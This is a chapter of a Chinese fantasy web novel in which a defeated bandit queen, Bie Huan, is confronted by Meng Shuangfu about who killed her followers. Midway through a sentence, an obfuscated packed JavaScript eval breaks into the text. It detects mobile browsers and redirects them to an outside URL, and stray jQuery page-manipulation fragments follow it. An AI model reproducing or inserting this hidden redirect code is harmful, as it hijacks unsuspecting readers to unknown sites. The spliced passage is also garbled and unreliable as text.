227.欢欢大王

作品:《她都不会修仙,怎么是成仙第一人

    这里是苦难之地。


    战场上,敌人内部产生矛盾之时,正是他们乘胜追击、直接将其一网打尽的时机。


    刀剑挥舞得更为凌厉。


    前方,似是知道了什么,众人猛地转身,发出无意义的吼叫,撞向后方的渊国兵马。


    如同两方洪水,冲撞在一起。


    又如同岩浆烈火和海水,撞击,冲起火与水彼此包裹的滔天巨浪,缠绕翻滚。


    彼此不容,彼此泾渭分明,却又以大股大股的两方力量缠绕在一起。


    在天上看,在远方看——


    那是一面巨大的图腾,气势骇人。


    远方的高山之上。


    江景鸢眺望的视野里,那座烈火城池之外,远方奔腾来大队兵马。


    ——他们身上的甲胄,与援助霖国的那些兵马一般无二。


    领头的女子望着远方烈火中的漆黑鬼影城池,瞳孔打颤,面色煞白。


    她没有直接撞开被尸山血海抵住的那方城门,顿了顿,她咬牙,带着兵马绕后。


    江景鸢收回目光,侧头看了旁边人一眼。


    江景谦对着她点点头,也不知是用何种方式,发出一条传讯消息。


    下一刻。


    在那新出现的兵马奔腾向城门的下一刻。


    一面巨大的虚幻水波纹屏障挡在了他们之前。


    为首的女子猛地拉住缰绳,带着兵马停下。


    她脸色难看地转头。


    侧后方。


    “咚咚咚、咚咚咚——”大片银白甲胄身影汹涌而来,好似下一瞬就要将他们尽数淹没吞噬。


    为首的女子——别欢,拉着缰绳的手紧了松、松了紧。


    她心中骤然生出浓浓的后悔之意。


    别欢看了看前方的城池,又看向侧后方咬来的兵马,心中焦灼。


    战还是不战?


    城里的那些人指定是没有救了,她再后悔也得认了,想断尾求生,可……


    又怕此时不战而退,自己身后的人心大乱,届时被追兵尽数围剿。


    只是,她着实没有胜算。


    他们和渊国这一队兵马打到一半,城里的渊军怕就会出来一同围剿他们。


    左右,都是……


    别欢眼眸中生出绝望。


    但她还是立即策马下令,带着大队兵马逃走。


    ——殊死搏斗,殊死搏斗。


    她将在这一路想方设法拖住渊军的脚步。


    悔恨如烈火,越烧越旺,噼里啪啦焚烧着她的心头。


    能怪他人佛口蛇心、狼心狗肺吗?


    可以。


    但最多的,还是怪自己。


    她到底不是那种人。她满心愧疚和自责,难以推卸。


    只能化为一声声复杂叹息,随风飘远了。


    远方的高山上。


    江景谦侧头,似乎是在倾听着什么,片刻,他浅笑着看向旁边的少女,说道:


    “景鸢殿下,这是霖国土匪中的土匪,真正的山大王。”


    山大王……江景鸢望着远方的那片景象,脑海里闪过无数纷杂的、还未转化为明确字眼的念头。


    三两瞬,她明白了。


    明明没有明确的字句,明明好像只是那么一下的感觉,可她就是明白了来龙去脉。


    而将那些感觉念头一一转化为文字,和其他人解释,很累。


    江景鸢面上没什么反应。


    江景谦问道:


    “景鸢殿下,我们回去休息一番,等着平江侯那边的事情解决,如何?”


    江景鸢“嗯”了声。


    两人转身,走进繁盛树林。


    …………


    渊国的全境屏障扩大,笼罩住肃城。


    肃城还在清理,北境的众人回到了后方养精蓄锐。


    次日,将近午时。


    被许卿临喊醒的江景鸢满心愤怒,她这阵子难得有机会好好休息!


    这人,自己不用睡觉,也不体谅一下需要充足睡眠的人。


    然而下一刻,她收到了一个消息——


    北境的人认为那山大王和一众山匪是可塑之才,提议招安。


    以北境梦家梦霜浮的名义上书,请长生殿下决断。


    江景鸢:“……”


    “真有意思。”许卿临听了,只笑着一遍遍说道,“真有意思……真有意思。”


    江景鸢没理她,起身决定去看看。


    …………


    明亮的屋内。


    一人踌躇地上前,“别夫人……”


    “叫老娘‘欢欢大王’!”


    别欢直接豪迈地盘腿坐在地上,双臂交叠抱在身前,满脸不耐地说道。


    那人顿时脸上神色一僵。


    后方,梦霜浮坦然走上前,十分自然地喊道:“欢欢大王。”


    别欢瞥了她一眼,冷哼一声,又闭上眼、高抬着下巴。


    顿时惹得梦霜浮身后几人面容扭曲,好似下一刻就要冲上去和她理论一番。


    梦霜浮手随意一扬,打住了他们的动作,让他们往后退退。


    众人不情不愿地照做,退远了。


    梦霜浮走到别欢面前,也跟着她的样子盘腿坐在地上,与她面对面。


    “欢欢大王。”梦霜浮嘴边露出浅笑,声音软软糯糯,“事已至此,您是决定自暴自弃了吗?”


    别欢闭着眼冷笑一声,睁开眼睛看向她,“是又如何?要杀要剐随你们的便!要让我与你们这些惺惺作态的人为伍,恶心得想吐!”


    霎时,退远的几人发出窸窸窣窣,满脸愤怒,却谨记着梦霜浮的命令,死死停在原地。


    梦霜浮倒是一点儿没有生气的意思,反倒轻轻笑了笑,只说:


    “大王您不为你寨子里的兄弟姐妹们谋一条生路吗?”


    她说:“他们现在可还在牢里等着大王您。”


    别欢眯了眯眼,心中涌起无名火又被强行压了下去,冷笑着道:


    “人总有一死,或早或晚。混我们这行的,脑袋别裤腰带上,死得比别人早一些也是应该的,算不得事儿!”


    梦霜浮轻轻摇着头,似叹息似感慨般问道:


    “大王您从来也是和那昏聩的霖君一般独断专行、残暴不仁的吗?”


    别欢皱眉,几乎要压不住心头的怒火了,沉声低吼道:“少拿那昏君与老娘相提并论!”


    说着,她双眸中满是浓浓的厌恶。


    都当山匪了,又哪里会敬仰国君呢?对君王忠心不二的,也不会来当山匪。


    梦霜浮眉眼间浮现疑惑,问道:


    “可大王您,为何要随意地将跟随您多年的兄弟姐妹推去死?


    “霖国国君昏聩无能,朝臣官员满口仁义道德、却做的残暴狠毒之事。他们让那么多人家破人亡,逼得无数人无家可归、不得不上山寻一条苟活生路。


    “可大王您,如今又让他们平白无故去死……”


    梦霜浮抿嘴笑笑,没有再说。


    别欢瞬间爆怒,一跃而起,气得浑身发抖,咬牙切齿道:


    “那也是你们要杀我们!!”


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953076|160054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    满脸愤恨,双眸好似要喷火,猛地抬手指着面前的少女,怒喝道:


    “你们杀了我们那么多兄弟姐妹怎么不说?如今竟还要我们卑躬屈漆去给你们当牛做马——


    “有这样美的事儿?!!”


    她狠狠扭头啐一口,瞪着那少女,“做梦去吧!!”


    梦霜浮不急不恼,缓缓从地上起身,拍拍双手和衣裙。


    她笔直地站在别欢的面前,脸上的浅笑消失,盯着别欢的眼睛,一字一句地问——


    “我们渊国与霖国交战,杀的是霖国肃城中的霖兵,何时杀过你们寨子里的人了?”


    别欢气得发笑,“敢做不敢当?还是想凭你们一张嘴颠倒黑白、哄骗我们?”


    她怒得涨红脸,头发炸起,整个人几乎要发狂:


    “我寨子里兄弟姐妹的血洒在那片大地之上,无数尸骨一把火化为乌有——


    “你告诉我你们没有杀?没有杀?那死的是谁?!!”


    梦霜浮一脸冷静地回答道:“死的是霖国的兵马。”


    “你!”


    别欢瞪着她。


    梦霜浮下巴微扬,眼神平静,面色庄重肃穆,软糯的声音低沉认真:


    “突如其来援助霖军、进攻我渊国将士的,不是霖国的兵马还能是什么?”


    她冷冷地盯着面前的女子,问:“你是要说那些是你们寨子里的人?”冷笑一声,说:“你们是山匪啊,来援助肃城的兵马,不是霖国的兵,难道会是山匪?”


    别欢身形瞬间一僵。


    她整个人如被人从头浇了一盆冷水,面色煞白。


    梦霜浮脸上的神色正色庄重得近乎神圣虔诚,一字一顿地清晰说道——


    “我们杀的是霖军,从未杀过霖国的山匪。”


    别欢浑身颤抖,垂下的双手一点一点攥紧成拳,她瞪大的眼眸瞳孔在疯狂打着颤。


    她嘴唇翕动,一个字也说不出来。


    梦霜浮不依不饶,看向她,问:“大王您可以说说,我们渊国的兵马何时围剿过霖国的匪盗?”


    别欢咬紧牙关,站在原地。


    梦霜浮顿时缓和了面色和语气,嘴边扬着腼腆柔和的浅笑,声音软软糯糯:


    “我不明白,我们之间何时有过恩怨?”


    语气中满是疑惑和苦恼。


    她似乎真的是在不明白地发问。


    别欢艰难开口:“就是被你们杀了……”低低的声音却是发颤。


    梦霜浮不禁笑了一声。


    她在别欢愤怒的目光下,轻笑着开口说道:


    “你们的人分明是被肃城那位狠毒的谋士围剿杀害的,你怎么能将这锅儿……扣在我们渊国的头上呢?”


    自己的愚蠢被毫不留情地展现在人前,自己的伤口被毫不留情地撕开撒盐……


    别欢霎时被巨大的难堪、羞愤笼罩。


    她猛地低下眼睛,不敢去看前方少女的眼神。


    仿佛有无数目光如尖锐的刀剑扎在她身上,怜悯的、嘲讽的……


    持续不断地提醒着她,她怎么这么蠢啊,她怎么能做出如此蠢事啊!


    太蠢了太蠢了太蠢了太蠢了——


    别欢低下的眼睛蒙上一层水雾。


    她在这种无言审判下,甚至生不出一丝一毫的愤怒反抗心思。


    唯有身形在疯狂颤抖。


    梦霜浮看着她,嘴角的弧度明显了几分,软糯的声音却是愈发轻柔——


    “我知道,你是被骗了。”


    语气中满是感同身受般的理解和心疼。